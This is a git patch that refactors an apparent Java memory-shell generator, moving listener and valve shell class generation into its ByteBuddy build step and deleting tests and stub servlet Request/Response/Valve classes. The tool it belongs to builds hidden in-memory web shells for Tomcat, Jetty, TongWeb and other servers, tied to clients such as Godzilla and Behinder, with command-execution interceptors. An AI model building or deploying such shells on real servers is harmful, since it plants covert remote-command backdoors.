From 9927e6b7fbfc3609040135dee0c8645645596eb2 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 30 May 2025 18:05:56 +0800 Subject: [PATCH] refactor: build valve and listener shell when generate --- .../generator/ByteBuddyShellGenerator.java | 20 +- .../memshell/generator/ListenerGenerator.java | 17 +- .../memshell/generator/ValveGenerator.java | 41 +-- .../generator/command/CommandGenerator.java | 37 +- .../javaweb/memshell/server/ApusicShell.java | 2 +- .../memshell/server/GlassFishShell.java | 2 +- .../javaweb/memshell/server/JettyShell.java | 2 +- .../javaweb/memshell/server/ResinShell.java | 2 +- .../memshell/server/ServerToolRegistry.java | 24 -- .../javaweb/memshell/server/TomcatShell.java | 2 +- .../memshell/server/UndertowShell.java | 2 +- .../memshell/server/WebSphereShell.java | 2 +- .../generator/ListenerGeneratorTest.java | 20 - .../generator/ValveGeneratorTest.java | 32 -- .../buddy/ServletRenameVisitorWrapper.java | 4 +- .../com/bes/enterprise/webtier/Valve.java | 19 - .../enterprise/webtier/connector/Request.java | 345 ------------------ .../webtier/connector/Response.java | 196 ---------- .../shelltool/antsword/AntSwordListener.java | 4 +- .../shelltool/behinder/BehinderListener.java | 4 +- .../shelltool/command/CommandListener.java | 4 +- .../shelltool/godzilla/GodzillaListener.java | 4 +- .../shelltool/neoreg/NeoreGeorgListener.java | 4 +- .../memshell/shelltool/suo5/Suo5Listener.java | 4 +- .../main/java/com/tongweb/catalina/Valve.java | 19 - .../tongweb/catalina/connector/Request.java | 345 ------------------ .../tongweb/catalina/connector/Response.java | 196 ---------- .../main/java/com/tongweb/server/Valve.java | 19 - .../com/tongweb/server/connector/Request.java | 345 ------------------ .../tongweb/server/connector/Response.java | 196 ---------- .../main/java/com/tongweb/web/thor/Valve.java | 24 -- .../tongweb/web/thor/comet/CometEvent.java | 8 - .../tongweb/web/thor/connector/Request.java | 345 ------------------ .../tongweb/web/thor/connector/Response.java | 196 ---------- 34 files changed, 67 insertions(+), 2419 deletions(-) delete mode 100644 generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java delete mode 100644 generator/src/test/java/com/reajason/javaweb/memshell/generator/ValveGeneratorTest.java delete mode 100644 memshell/src/main/java/com/bes/enterprise/webtier/Valve.java delete mode 100644 memshell/src/main/java/com/bes/enterprise/webtier/connector/Request.java delete mode 100644 memshell/src/main/java/com/bes/enterprise/webtier/connector/Response.java delete mode 100644 memshell/src/main/java/com/tongweb/catalina/Valve.java delete mode 100644 memshell/src/main/java/com/tongweb/catalina/connector/Request.java delete mode 100644 memshell/src/main/java/com/tongweb/catalina/connector/Response.java delete mode 100644 memshell/src/main/java/com/tongweb/server/Valve.java delete mode 100644 memshell/src/main/java/com/tongweb/server/connector/Request.java delete mode 100644 memshell/src/main/java/com/tongweb/server/connector/Response.java delete mode 100644 memshell/src/main/java/com/tongweb/web/thor/Valve.java delete mode 100644 memshell/src/main/java/com/tongweb/web/thor/comet/CometEvent.java delete mode 100644 memshell/src/main/java/com/tongweb/web/thor/connector/Request.java delete mode 100644 memshell/src/main/java/com/tongweb/web/thor/connector/Response.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java index 368edff6..9c4f9bbe 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java @@ -1,12 +1,13 @@ package com.reajason.javaweb.memshell.generator; import com.reajason.javaweb.ClassBytesShrink; -import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.server.AbstractShell; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; @@ -27,11 +28,24 @@ public abstract class ByteBuddyShellGenerator impleme @Override public byte[] getBytes() { + Class shellClass = shellToolConfig.getShellClass(); + String shellClassName = shellToolConfig.getShellClassName(); DynamicType.Builder builder = build(new ByteBuddy() - .redefine(shellToolConfig.getShellClass()) - .name(shellToolConfig.getShellClassName()) + .redefine(shellClass) + .name(shellClassName) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))); + String shellType = shellConfig.getShellType(); + AbstractShell shell = shellConfig.getServer().getShell(); + + if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) { + builder = ListenerGenerator.build(builder, shell.getListenerInterceptor(), shellClass, shellClassName); + } + + if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) { + builder = ValveGenerator.build(builder, shell); + } + if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java index a0b98518..193700ba 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java @@ -1,15 +1,12 @@ package com.reajason.javaweb.memshell.generator; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; -import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; -import net.bytebuddy.ByteBuddy; import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.AsmVisitorWrapper; import net.bytebuddy.description.modifier.Ownership; import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.dynamic.loading.ClassLoadingStrategy; import net.bytebuddy.implementation.FixedValue; import java.util.Collections; @@ -22,8 +19,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named; */ public class ListenerGenerator { - public static Class generateListenerShellClass(Class implInterceptor, Class targetClass) { - String newClassName = targetClass.getName() + CommonUtil.getRandomString(5); + public static DynamicType.Builder build(DynamicType.Builder builder, Class implInterceptor, Class targetClass, String newClassName) { boolean needAddGetFieldValue = false; try { targetClass.getMethod("getFieldValue", Object.class, String.class); @@ -31,9 +27,7 @@ public class ListenerGenerator { needAddGetFieldValue = true; } - DynamicType.Builder builder = new ByteBuddy() - .redefine(targetClass) - .name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods() + builder = builder.visit(new AsmVisitorWrapper.ForDeclaredMethods() .method(named("getResponseFromRequest"), new MethodCallReplaceVisitorWrapper( newClassName, @@ -48,11 +42,6 @@ public class ListenerGenerator { .intercept(FixedValue.nullValue()) .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue"))); } - - try (DynamicType.Unloaded unloaded = builder.make()) { - return unloaded - .load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT) - .getLoaded(); - } + return builder; } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java index 7ec3d679..d88d8f83 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java @@ -1,24 +1,18 @@ package com.reajason.javaweb.memshell.generator; -import com.reajason.javaweb.memshell.utils.CommonUtil; -import com.tongweb.web.thor.comet.CometEvent; -import com.tongweb.web.thor.connector.Request; -import com.tongweb.web.thor.connector.Response; -import net.bytebuddy.ByteBuddy; +import com.reajason.javaweb.memshell.server.*; import net.bytebuddy.asm.AsmVisitorWrapper; import net.bytebuddy.description.field.FieldDescription; import net.bytebuddy.description.field.FieldList; import net.bytebuddy.description.method.MethodList; -import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.dynamic.loading.ClassLoadingStrategy; -import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.implementation.Implementation; import net.bytebuddy.jar.asm.ClassVisitor; import net.bytebuddy.jar.asm.commons.ClassRemapper; import net.bytebuddy.jar.asm.commons.Remapper; import net.bytebuddy.pool.TypePool; +import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; /** @@ -76,25 +70,20 @@ public class ValveGenerator { } } - public static Class generateValveClass(String packageName, Class targetClass) { - String newClassName = targetClass.getName() + CommonUtil.getRandomString(5); - - DynamicType.Builder builder = new ByteBuddy() - .redefine(targetClass) - .name(newClassName) - .visit(new ValveRenameVisitorWrapper(packageName)); - - if (TONGWEB6_VALVE_PACKAGE.equals(packageName)) { - builder = builder - .defineMethod("getInfo", String.class, Visibility.PUBLIC) - .intercept(FixedValue.value("")) - .defineMethod("event", void.class, Visibility.PUBLIC) - .withParameters(Request.class, Response.class, CometEvent.class) - .intercept(FixedValue.originType()); + public static DynamicType.Builder build(DynamicType.Builder builder, AbstractShell shell) { + String packageName = null; + if (shell instanceof TongWeb6Shell) { + packageName = TONGWEB6_VALVE_PACKAGE; + } else if (shell instanceof TongWeb7Shell) { + packageName = TONGWEB7_VALVE_PACKAGE; + } else if (shell instanceof TongWeb8Shell) { + packageName = TONGWEB8_VALVE_PACKAGE; + } else if (shell instanceof BesShell) { + packageName = BES_VALVE_PACKAGE; } - - try (DynamicType.Unloaded unloaded = builder.make()) { - return unloaded.load(ValveGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded(); + if (StringUtils.isEmpty(packageName)) { + return builder; } + return builder.visit(new ValveRenameVisitorWrapper(packageName)); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java index 9dcdeda7..50943799 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java @@ -4,11 +4,10 @@ import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; -import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; -import net.bytebuddy.ByteBuddy; import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.AsmVisitorWrapper; import net.bytebuddy.description.modifier.Ownership; @@ -24,25 +23,16 @@ import static net.bytebuddy.matcher.ElementMatchers.named; * @author ReaJason * @since 2024/11/24 */ -public class CommandGenerator { - private final ShellConfig shellConfig; - private final CommandConfig commandConfig; +public class CommandGenerator extends ByteBuddyShellGenerator { public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) { - this.shellConfig = shellConfig; - this.commandConfig = commandConfig; + super(shellConfig, commandConfig); } - public DynamicType.Builder getBuilder() { - if (commandConfig.getShellClass() == null) { - throw new IllegalArgumentException("commandConfig.getClazz() == null"); - } + @Override + public DynamicType.Builder build(DynamicType.Builder builder) { - DynamicType.Builder builder = new ByteBuddy() - .redefine(commandConfig.getShellClass()) - .name(commandConfig.getShellClassName()) - .field(named("paramName")).value(commandConfig.getParamName()) - .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); + builder = builder.field(named("paramName")).value(shellToolConfig.getParamName()); if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); @@ -52,12 +42,12 @@ public class CommandGenerator { builder = LogRemoveMethodVisitor.extend(builder); } - if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) { + if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) { builder = builder .visit(new AsmVisitorWrapper.ForDeclaredMethods() .method(named("getParam"), new MethodCallReplaceVisitorWrapper( - commandConfig.getShellClassName(), + shellToolConfig.getShellClassName(), Collections.singleton(ShellCommonUtil.class.getName())) ) ) @@ -68,19 +58,12 @@ public class CommandGenerator { .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); } - if (CommandConfig.ImplementationClass.RuntimeExec.equals(commandConfig.getImplementationClass())) { + if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) { builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream"))); - } else if (CommandConfig.ImplementationClass.ForkAndExec.equals(commandConfig.getImplementationClass())) { + } else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) { builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream"))); } return builder; } - - public byte[] getBytes() { - DynamicType.Builder builder = getBuilder(); - try (DynamicType.Unloaded make = builder.make()) { - return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink()); - } - } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java index 1d99c5ad..5d9ffcdd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java @@ -18,7 +18,7 @@ public class ApusicShell extends AbstractShell { public static class ListenerInterceptor { @Advice.OnMethodExit - public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception { + public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception { response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "http"), "response"); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java index 79a7761d..8ca8a3ef 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java @@ -20,7 +20,7 @@ public class GlassFishShell extends AbstractShell { public static class ListenerInterceptor { @Advice.OnMethodExit - public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception { + public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception { try { response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response"); } catch (Exception e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java index 7dcb34fc..566a55b4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java @@ -19,7 +19,7 @@ public class JettyShell extends AbstractShell { public static class ListenerInterceptor { @Advice.OnMethodExit - public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception { + public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception { try { response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response"); } catch (Exception e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java index 871cecd6..ddf47417 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java @@ -18,7 +18,7 @@ public class ResinShell extends AbstractShell { public static class ListenerInterceptor { @Advice.OnMethodExit - public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception { + public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception { response = ShellCommonUtil.getFieldValue(request, "_response"); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java index 3e910d8c..027415c0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java @@ -2,9 +2,6 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.memshell.generator.ListenerGenerator; -import com.reajason.javaweb.memshell.generator.ValveGenerator; import java.util.Map; import java.util.Set; @@ -28,27 +25,6 @@ public class ServerToolRegistry { if (shellClass == null) { continue; } - - if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) { - shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass); - } - boolean isValve = (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)); - if (isValve && shell instanceof TongWeb6Shell) { - shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB6_VALVE_PACKAGE, shellClass); - } - - if (isValve && shell instanceof TongWeb7Shell) { - shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, shellClass); - } - - if (isValve && shell instanceof TongWeb8Shell) { - shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB8_VALVE_PACKAGE, shellClass); - } - - if (isValve && shell instanceof BesShell) { - shellClass = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, shellClass); - } - toolMappingBuilder.addShellClass(shellType, shellClass); } shell.addToolMapping(shellTool, toolMappingBuilder.build()); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java index 40ff9d11..9875b631 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java @@ -16,7 +16,7 @@ public class TomcatShell extends AbstractShell { public static class ListenerInterceptor { @Advice.OnMethodExit - public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception { + public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception { try { response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response"); } catch (Exception e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java index f963dc4e..d3627cbe 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java @@ -21,7 +21,7 @@ public class UndertowShell extends AbstractShell { public static class ListenerInterceptor { @Advice.OnMethodExit - public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception { + public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception { Map map = (Map) ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "exchange"), "attachments"); Object[] keys = map.keySet().toArray(); for (Object key : keys) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java index b1ecaebb..7d9bbcef 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java @@ -19,7 +19,7 @@ public class WebSphereShell extends AbstractShell { public static class ListenerInterceptor { @Advice.OnMethodExit - public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception { + public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception { response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connContext"), "_response"); } } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java deleted file mode 100644 index 894bd0da..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java +++ /dev/null @@ -1,20 +0,0 @@ -package com.reajason.javaweb.memshell.generator; - -import com.reajason.javaweb.memshell.server.TomcatShell; -import com.reajason.javaweb.memshell.shelltool.command.CommandListener; -import org.junit.jupiter.api.Test; - -import static org.junit.jupiter.api.Assertions.assertNotNull; - -/** - * @author ReaJason - * @since 2025/4/27 - */ -class ListenerGeneratorTest { - - @Test - void testCommonListener() { - Class clazz = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, CommandListener.class); - assertNotNull(clazz); - } -} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ValveGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ValveGeneratorTest.java deleted file mode 100644 index 04493b37..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ValveGeneratorTest.java +++ /dev/null @@ -1,32 +0,0 @@ -package com.reajason.javaweb.memshell.generator; - -import com.reajason.javaweb.memshell.shelltool.command.CommandValve; -import net.bytebuddy.jar.asm.ClassReader; -import net.bytebuddy.jar.asm.ClassVisitor; -import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; - -import java.io.InputStream; - -import static org.junit.jupiter.api.Assertions.assertEquals; - -/** - * @author ReaJason - * @since 2025/2/22 - */ -class ValveGeneratorTest { - - @Test - void test() throws Exception { - Class clazz = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, CommandValve.class); - InputStream resourceAsStream = clazz.getClassLoader().getResourceAsStream(clazz.getName().replace('.', '/') + ".class"); - assert resourceAsStream != null; - ClassReader cr = new ClassReader(resourceAsStream); - cr.accept(new ClassVisitor(Opcodes.ASM9) { - @Override - public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { - assertEquals("com/bes/enterprise/webtier/Valve", interfaces[0]); - } - }, 0); - } -} \ No newline at end of file diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java index d3a27419..5b31d90f 100644 --- a/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java @@ -6,7 +6,9 @@ import net.bytebuddy.description.field.FieldList; import net.bytebuddy.description.method.MethodList; import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.implementation.Implementation; +import net.bytebuddy.jar.asm.ClassReader; import net.bytebuddy.jar.asm.ClassVisitor; +import net.bytebuddy.jar.asm.ClassWriter; import net.bytebuddy.jar.asm.commons.ClassRemapper; import net.bytebuddy.jar.asm.commons.Remapper; import net.bytebuddy.pool.TypePool; @@ -23,7 +25,7 @@ public class ServletRenameVisitorWrapper implements AsmVisitorWrapper { @Override public int mergeReader(int flags) { - return flags; + return flags | ClassReader.EXPAND_FRAMES; } @Override diff --git a/memshell/src/main/java/com/bes/enterprise/webtier/Valve.java b/memshell/src/main/java/com/bes/enterprise/webtier/Valve.java deleted file mode 100644 index 780062cd..00000000 --- a/memshell/src/main/java/com/bes/enterprise/webtier/Valve.java +++ /dev/null @@ -1,19 +0,0 @@ -package com.bes.enterprise.webtier; - -import com.bes.enterprise.webtier.connector.Request; -import com.bes.enterprise.webtier.connector.Response; - -import javax.servlet.ServletException; -import java.io.IOException; - -public interface Valve { - Valve getNext(); - - void setNext(Valve var1); - - void backgroundProcess(); - - void invoke(Request var1, Response var2) throws IOException, ServletException; - - boolean isAsyncSupported(); -} \ No newline at end of file diff --git a/memshell/src/main/java/com/bes/enterprise/webtier/connector/Request.java b/memshell/src/main/java/com/bes/enterprise/webtier/connector/Request.java deleted file mode 100644 index b9a60995..00000000 --- a/memshell/src/main/java/com/bes/enterprise/webtier/connector/Request.java +++ /dev/null @@ -1,345 +0,0 @@ -package com.bes.enterprise.webtier.connector; - -import javax.servlet.*; -import javax.servlet.http.*; -import java.io.BufferedReader; -import java.io.IOException; -import java.io.UnsupportedEncodingException; -import java.security.Principal; -import java.util.*; - -/** - * @author ReaJason - * @since 2024/12/26 - */ -public class Request implements HttpServletRequest { - @Override - public String getAuthType() { - return ""; - } - - @Override - public Cookie[] getCookies() { - return new Cookie[0]; - } - - @Override - public long getDateHeader(String name) { - return 0; - } - - @Override - public String getHeader(String name) { - return ""; - } - - @Override - public Enumeration getHeaders(String name) { - return null; - } - - @Override - public Enumeration getHeaderNames() { - return null; - } - - @Override - public int getIntHeader(String name) { - return 0; - } - - @Override - public String getMethod() { - return ""; - } - - @Override - public String getPathInfo() { - return ""; - } - - @Override - public String getPathTranslated() { - return ""; - } - - @Override - public String getContextPath() { - return ""; - } - - @Override - public String getQueryString() { - return ""; - } - - @Override - public String getRemoteUser() { - return ""; - } - - @Override - public boolean isUserInRole(String role) { - return false; - } - - @Override - public Principal getUserPrincipal() { - return null; - } - - @Override - public String getRequestedSessionId() { - return ""; - } - - @Override - public String getRequestURI() { - return ""; - } - - @Override - public StringBuffer getRequestURL() { - return null; - } - - @Override - public String getServletPath() { - return ""; - } - - @Override - public HttpSession getSession(boolean create) { - return null; - } - - @Override - public HttpSession getSession() { - return null; - } - - @Override - public boolean isRequestedSessionIdValid() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromCookie() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromURL() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromUrl() { - return false; - } - - @Override - public boolean authenticate(HttpServletResponse response) throws IOException, ServletException { - return false; - } - - @Override - public void login(String username, String password) throws ServletException { - - } - - @Override - public void logout() throws ServletException { - - } - - @Override - public Collection getParts() throws IOException, ServletException { - return Collections.emptyList(); - } - - @Override - public Part getPart(String name) throws IOException, ServletException { - return null; - } - - @Override - public Object getAttribute(String name) { - return null; - } - - @Override - public Enumeration getAttributeNames() { - return null; - } - - @Override - public String getCharacterEncoding() { - return ""; - } - - @Override - public void setCharacterEncoding(String env) throws UnsupportedEncodingException { - - } - - @Override - public int getContentLength() { - return 0; - } - - @Override - public String getContentType() { - return ""; - } - - @Override - public ServletInputStream getInputStream() throws IOException { - return null; - } - - @Override - public String getParameter(String name) { - return ""; - } - - @Override - public Enumeration getParameterNames() { - return null; - } - - @Override - public String[] getParameterValues(String name) { - return new String[0]; - } - - @Override - public Map getParameterMap() { - return Collections.emptyMap(); - } - - @Override - public String getProtocol() { - return ""; - } - - @Override - public String getScheme() { - return ""; - } - - @Override - public String getServerName() { - return ""; - } - - @Override - public int getServerPort() { - return 0; - } - - @Override - public BufferedReader getReader() throws IOException { - return null; - } - - @Override - public String getRemoteAddr() { - return ""; - } - - @Override - public String getRemoteHost() { - return ""; - } - - @Override - public void setAttribute(String name, Object o) { - - } - - @Override - public void removeAttribute(String name) { - - } - - @Override - public Locale getLocale() { - return null; - } - - @Override - public Enumeration getLocales() { - return null; - } - - @Override - public boolean isSecure() { - return false; - } - - @Override - public RequestDispatcher getRequestDispatcher(String path) { - return null; - } - - @Override - public String getRealPath(String path) { - return ""; - } - - @Override - public int getRemotePort() { - return 0; - } - - @Override - public String getLocalName() { - return ""; - } - - @Override - public String getLocalAddr() { - return ""; - } - - @Override - public int getLocalPort() { - return 0; - } - - @Override - public ServletContext getServletContext() { - return null; - } - - @Override - public AsyncContext startAsync() throws IllegalStateException { - return null; - } - - @Override - public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException { - return null; - } - - @Override - public boolean isAsyncStarted() { - return false; - } - - @Override - public boolean isAsyncSupported() { - return false; - } - - @Override - public AsyncContext getAsyncContext() { - return null; - } - - @Override - public DispatcherType getDispatcherType() { - return null; - } -} diff --git a/memshell/src/main/java/com/bes/enterprise/webtier/connector/Response.java b/memshell/src/main/java/com/bes/enterprise/webtier/connector/Response.java deleted file mode 100644 index b0c91321..00000000 --- a/memshell/src/main/java/com/bes/enterprise/webtier/connector/Response.java +++ /dev/null @@ -1,196 +0,0 @@ -package com.bes.enterprise.webtier.connector; - -import javax.servlet.ServletOutputStream; -import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import java.io.PrintWriter; -import java.util.Collection; -import java.util.Collections; -import java.util.Locale; - -/** - * @author ReaJason - * @since 2024/12/26 - */ -public class Response implements HttpServletResponse { - @Override - public void addCookie(Cookie cookie) { - - } - - @Override - public boolean containsHeader(String name) { - return false; - } - - @Override - public String encodeURL(String url) { - return ""; - } - - @Override - public String encodeRedirectURL(String url) { - return ""; - } - - @Override - public String encodeUrl(String url) { - return ""; 